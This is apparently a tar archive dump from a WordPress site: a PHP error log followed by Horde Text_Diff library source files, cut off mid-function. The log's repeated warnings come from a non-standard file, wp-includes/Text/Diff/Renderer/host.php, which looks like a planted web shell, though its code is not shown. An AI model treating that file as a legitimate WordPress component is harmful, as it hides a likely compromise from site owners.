[09-Jun-2026 12:34:51 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:52 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:53 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:53 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:53 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:54 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:55 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:55 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:55 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:55 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:56 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:56 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:56 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:56 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:57 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:57 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:58 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:58 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:58 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:59 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:00 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:00 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:00 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:00 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:01 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:01 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:02 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:03 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:03 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:03 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:04 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:05 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:05 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:05 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:05 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:06 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:06 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:07 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:07 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:09 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:09 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:10 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:10 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:11 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:11 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:11 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:11 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:11 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:11 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:13 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:13 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:13 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:13 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:13 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:13 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:14 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:14 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:14 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:35:14 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:35:14 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:35:15 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:15 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:16 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
                                                                                                                                                                                                                                                                                                                                inline.php                                                                                          0000644                 00000012630 15212004204 0006523 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        Engine.tar                                                                                          0000644                 00000107000 15212004204 0006445 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       xdiff.php                                                                                           0000644                 00000004233 15212004202 0006343 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                     shell.php                                                                                           0000644                 00000012123 15212004202 0006347 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                             string.php                                                                                          0000644                 00000020233 15212004202 0006547 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
